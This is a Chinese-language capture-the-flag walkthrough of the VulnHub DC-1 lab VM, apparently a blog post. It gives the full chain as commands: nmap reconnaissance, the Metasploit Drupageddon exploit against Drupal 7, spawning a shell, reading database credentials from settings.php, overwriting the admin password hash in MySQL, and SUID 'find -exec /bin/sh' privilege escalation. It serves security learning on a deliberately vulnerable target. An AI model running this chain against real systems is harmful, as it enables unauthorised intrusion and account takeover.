DC-1靶机渗透超详细笔记

DC-1

环境搭建

访问 https://vulnhub.com ,然后搜索 DC,点入后可以看到对靶机的介绍

下载镜像文件。用 VM 打开,把网络模式改为 nat 模式。

然后开启虚拟机。

靶机渗透

信息搜集

IP 探测

先查看靶机 ip 是什么,arp-scannmap 都行

arp-scan -l
nmap -sn 192.168.179.0/24
#探测主机存活(这里是C段扫描),-sP 已经被 -sn 替代 都是通过ping进行主机探测

多出来的 ip 是 192.168.179.132,所以靶机 ip 就是 192.168.179.132

端口探测
nmap -sT --min-rate 10000 -p- 192.168.179.132 
#用-sT方式进行端口扫描,默认的是-sS,-sS是半开放扫描,发送SYN,如果返回SYN/ACK那么就端口开启,返回RST就是端口关闭,速度更快,而-sT是完整的扫描,三次握手,更精确,但速度相对较慢,所以这里加了个--min-rate指每秒最少发包数,这里指定最慢每秒发10000个包,使速度有保障。

#-sT不只是更精确,有些防火墙会对SYN半扫描进行过滤,所以一般-sT更好

#-p-就是指定扫描端口范围,而-是简化的指定1到65535端口的扫描(如果不指定,nmap默认只扫描1000个常用端口)

开放了 4 个端口,111 和 43600 比较陌生,而且 43600 还是 unknown。接下来进行端口详细信息扫描,

 nmap -sT -sV -sC -O -p22,80,111,43600 192.168.179.132
 #-sT上面说了完整扫描,三次握手,-sV扫描端口服务及其版本,-sC用namp默认脚本 -O系统

同时进行 udp 端口扫描

nmap -sU --top-ports 20 192.168.179.132
#-sU UDP 扫描(原理网上搜)
#--top-ports 扫描nmap-services中的前多少个端口

漏洞脚本扫描也挂上(反正详细扫描一般扫很久)

nmap --script=vuln -p22,80,111,43600 192.168.179.132
#--script=选的脚本,vuln是namp默认漏洞脚本

结果分别是

说实话 udp 扫出来我也不会看,而且这里也没有明确的 open 端口,先不管。先分析一手端口详细信息扫描结果。

22 端口的 ssh 服务版本是OpenSSH 6.0p1 Debian 4+deb7u7,80 端口的web 服务使用的是 CMS 是 Drupal 7。111 端口的 rpcbind 不清楚是什么服务,搜索一番感觉也不是很好利用,先不管,等走投无路了再来看。 43600 端口依然不知道是什么服务。

再看一下漏洞脚本扫描结果

全部都是 web 服务的漏洞,给了个 cve,然后就是 csrf 漏洞,http-enum 枚举的意思,枚举了一些可以访问的目录。

漏洞利用

访问 80 端口看看。

大概就长这样,有个登录框,先去看看刚刚的 cve-2014-3704 是什么。

本来想利用该 cve 进行 sql 注入得到账号密码,结果没成功。

查数据库

查表名(没加 where)

加上 where table_schema='drupaldb' 条件,直接就给返回登录页面了,也不像是长度限制呀,怪。

后多次尝试后无果,看见别的师傅用的是该 CMS 的 2018 年的漏洞。工具Metasploit 寻找现成脚本。

msfconsole

然后执行

search Drupal

嘶~,这里也有 2014 的哪个 sql 漏洞,贼心不死,再试试这个 cve,

use exploit/multi/http/drupal_drupageddon 

设置地址

set RHOSTS 192.168.179.132

最后执行 run,攻击成功

获取shell

输入 shell 进入 linux 的 shell,然后执行下面命令获取交互式 shell

python -c 'import pty; pty.spawn("/bin/bash")'

得到第一个 flag。

说什么配置文件,百度知道 Drupal 配置文件是 settings.php(其实是直接看师傅们的文章),查看得到第二个 flag。

翻译一手

懂不起,看到配置文件中给了 mysql 数据库的账号密码,

数据库渗透

登录 mysql 数据库

mysql -udbuser -pR0ck3t

查看一波表名

挺多的,直接看可疑的 user 表

select * from users;

只看上面两个账户就行,下面两个是前面测试随便注册的。

 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
 | Fred  | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |

不过密码是密文,并且该加密方式还是 Drupal 自己定义的。参考大佬文章,需要找到加密脚本随便加密一个已知密码,把 admin 的密码进行更改。

参考:忘记Drupal的管理员密码的解决办法 | Drupal China

php /var/www/scripts/password-hash.sh 123456

然后登录数据更改密码

use drupaldb;update users set pass = "$S$DXpcGhq073a54yB5A/ZhZtyo7RHVdfUYUq9P0zToWku6zxl8Ixw1" where name = 'admin';

知道账户密码后直接登录后台。

在后台发现第三个 flag。

读取/etc/passwd 文件。但是没有权限读取/etc/shadow

看到 flag4 用户主目录是/home/flag4,cd 到该目录下看看

发现第四个 flag,读取

需要到/root 目录,但是提示权限不够,看来需要提到 root 权限。

提权(suid)

先搜索具备 SUID 权限的文件

find / -perm -u=s -type f 2>/dev/null

看见有 find ,

那么直接 find 提权

find / -name index.php -exec "/bin/sh" \;

提权成功,接下来直接获取最后一个 flag

至此完结撒花

  • 12
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值